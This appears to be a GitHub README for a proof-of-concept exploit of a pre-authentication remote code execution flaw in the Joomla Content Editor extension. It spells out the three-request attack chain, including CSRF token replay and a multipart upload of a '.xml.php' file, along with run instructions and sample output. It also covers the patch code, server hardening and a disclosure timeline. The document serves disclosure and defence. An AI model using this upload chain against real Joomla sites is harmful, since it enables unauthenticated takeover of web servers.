
CVE-2026-48907 is a CVSS 10.0 pre-auth RCE in Joomla Content Editor affecting all versions ≤ 2.9.99.4. The Grayxploit team breaks down the 3-weakness chain — missing auth, no extension validation, and an unsafe upload flag — that lets attackers pop a shell in 3 HTTP requests.
Proof-of-concept exploit for CVE-2026-48907 — a CVSS 10.0 pre-authentication remote code execution vulnerability in the Joomla Content Editor (JCE) extension.
Research by Grayxploit Security Team
CVE-2026-48907 is a critical unauthenticated remote code execution (RCE) vulnerability affecting the Joomla Content Editor (JCE) extension — the most widely installed Joomla editor — in all versions up to and including 2.9.99.4.
By chaining three independent security weaknesses in the JCE profile import workflow, a completely unauthenticated attacker can:
/tmp/ directoryThe attack requires only 3 HTTP requests and works against any default Joomla installation running a vulnerable JCE version.
CVSS v4 Score: 10.0 — Critical
Discovered and publicly disclosed by the Grayxploit security research team following responsible disclosure.
| Software | Vulnerable Versions | Patched Version |
|---|---|---|
| Joomla Content Editor (JCE) | ≤ 2.9.99.4 | 2.9.99.6 (recommended) |
Note: 2.9.99.5 introduced the core fix. 2.9.99.6 added additional hardening layers. Upgrade to 2.9.99.6 or later.
The vulnerability originates in the JCE profile import endpoint:
POST /index.php?option=com_jce&task=profiles.import
JCE allows administrators to export and import editor profiles as XML files. The import handler is reachable without authentication and accepts arbitrary file uploads due to a chain of three independent weaknesses.
The import controller performed no ACL check:
public function import()
{
// Only gate: CSRF token — trivially bypassable
Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
$app = Factory::getApplication();
// … straight into file handling — no authorise() check
}
Joomla embeds the CSRF token in every public page as a meta tag or JS variable:
<meta name="csrf.token" content="abcdef1234567890abcdef1234567890" />
An attacker simply fetches the homepage, extracts the token, and replays it. The CSRF check prevents cross-site requests — it does not prevent direct scripted requests. There was no call to Factory::getUser() or $user->authorise(...) anywhere in the import path.
The upload handler used File::makeSafe() which only strips illegal filesystem characters — it does not validate or restrict file extensions:
$file = $app->input->files->get('profile_file', null, 'raw');
if (!is_uploaded_file($file['tmp_name'])) { return false; }
$name = File::makeSafe($file['name']); // strips illegal chars only
$destination = $config->get('tmp_path') . '/' . $name;
$source = $file['tmp_name'];
File::upload($source, $destination, false, true);
A filename like shell.xml.php passes File::makeSafe() untouched. Apache's mod_php executes it because the last recognized extension is .php. Extensions like .php, .php5, .phtml, and double-barrelled variants were all accepted.
File::upload() Called with $allow_unsafe = true (CWE-116)Joomla's File::upload() has a built-in extension blacklist that blocks dangerous file types when $allow_unsafe = false (the default):
// Joomla File::upload() signature
File::upload($src, $dest, $use_streams = false, $allow_unsafe = false)
The vulnerable JCE code explicitly disabled this safety net:
// VULNERABLE — unsafe uploads explicitly enabled
File::upload($source, $destination, false, true);
This single boolean flipped off Joomla's entire internal extension blacklist, allowing .php, .php5, .phtml, and all other executable extensions to be written to disk.
┌─────────────────────────────────────────────────────────────────┐
│ │
│ ① GET / │
│ ← Extract csrf_token from HTML/JS │
│ │
│ ② POST /index.php?option=com_jce&task=profiles.import │
│ Content-Type: multipart/form-data │
│ │
│ --boundary │
│ Content-Disposition: form-data; name="task" │
│ profiles.import │
│ --boundary │
│ Content-Disposition: form-data; name="<csrf_token>" │
│ 1 │
│ --boundary │
│ Content-Disposition: form-data; │
│ name="profile_file"; │
│ filename="shell-<hash>.xml.php" │
│ Content-Type: application/xml │
│ │
│ <?= 45*69 ?> │
│ --boundary-- │
│ │
│ ← 200 OK (file written to /var/www/html/tmp/) │
│ │
│ ③ GET /tmp/shell-<hash>.xml.php │
│ ← Response: "3105" (45 × 69 = RCE confirmed ✓) │
│ │
└─────────────────────────────────────────────────────────────────┘
No session cookie. No username. No password. 3 HTTP requests.
⚠️ This PoC is provided strictly for authorized security research and penetration testing. Do not use against any system without explicit written permission. Unauthorized use is illegal and unethical.
pip3 install requests
git clone https://github.com/grayxploit/CVE-2026-48907.git
cd CVE-2026-48907
pip3 install -r requirements.txt
python3 poc.py
[] Target : http://localhost:9999
[] Payload : cve-2026-48907-4821.xml.php [] Step 1 — Fetching CSRF token...
[+] CSRF token: abcdef1234567890abcdef1234567890
[] Step 2 — Uploading payload...
[+] Upload response: HTTP 200
[*] Step 3 — Triggering payload execution...
[CRITICAL] RCE CONFIRMED — CVE-2026-48907
Target http://localhost:9999 is VULNERABLE
All three weaknesses were fixed in JCE 2.9.99.5, with additional hardening shipped in 2.9.99.6.
controller/profiles.php:
$user = Factory::getUser();
if (!$user->authorise('core.manage', 'com_jce')) {
throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'), 403);
}
Guest users (id = 0) fail authorise() immediately. Request is rejected before any file handling occurs.
models/profile.php:
$extension = PATHINFO($name, PATHINFO_EXTENSION);
if (strtolower($extension) !== 'xml') {
$app->enqueueMessage(Text::_('WF_PROFILES_IMPORT_INVALID_FILE'), 'error');
return false;
}
PATHINFO_EXTENSION returns only the final extension. shell.xml.php → php → rejected. Neutralises all multi-extension bypasses.
// Before (vulnerable)
File::upload($source, $destination, false, true);
// After (patched)
File::upload($source, $destination, false);
Joomla's internal extension blacklist is re-engaged as an independent defence layer.
| Fix | Detail |
|---|---|
| Upload size cap | Rejects files > 512 KB |
| XXE protection | libxml_disable_entity_loader(true) backported to PHP 7.x |
| XML field allowlist | Only known-safe XML keys processed; arbitrary keys silently ignored |
/tmp/ via .htaccess<Directory /var/www/html/tmp>
php_flag engine off
<FilesMatch "\.ph(p[2-9]?|tml)$">
Deny from all
</FilesMatch>
</Directory>
This repository is intended solely for authorized security research, education, and penetration testing on systems you own or have explicit written permission to test.
The Grayxploit team is not responsible for any unauthorized, illegal, or malicious use of the code or information provided in this repository.
Use responsibly. Test legally.
This project is licensed under the MIT License.
Every star helps this research reach more defenders, pentesters, and blue teamers who need it.
Grayxploit is an independent security research team focused on vulnerability discovery, exploit development, and responsible disclosure across web platforms, CMS ecosystems, and open-source software.
| Priority | Action |
|---|
| 🔴 Immediate | Upgrade JCE to ≥ 2.9.99.6 |
| 🟠 High | Block or restrict web access to /tmp/ at the server level |
| 🟠 High | Disable PHP execution in temporary directories via .htaccess or server config |
| 🟡 Medium | Add WAF rule to alert/block on com_jce&task=profiles.import from unauthenticated sessions |
| 🟡 Medium | Audit other Joomla extensions for File::upload(..., true) without extension validation |
| Date | Event |
|---|
| 2026-05-XX | Vulnerability discovered by Grayxploit research team |
| 2026-05-XX | Responsible disclosure submitted to JCE maintainers |
| 2026-06-XX | CVE-2026-48907 assigned by MITRE |
| 2026-06-XX | JCE 2.9.99.5 released — core fix |
| 2026-06-12 | JCE 2.9.99.6 released — additional hardening |
| 2026-06-12 | Public disclosure by Grayxploit |
| We Find | We Disclose | You Defend |
|---|---|---|
| Pre-auth RCEs | Responsibly and publicly | With our detailed patch analysis |
| Logic flaws | With full root cause breakdowns | Using our PoCs safely |
| Chained vulnerabilities | Before mass exploitation begins | Faster than threat actors |
Have a tip or want to collaborate? Open an Issue or reach out via our GitHub profile.
CVE-2026-48907 — Original research by
Breaking things. Responsibly.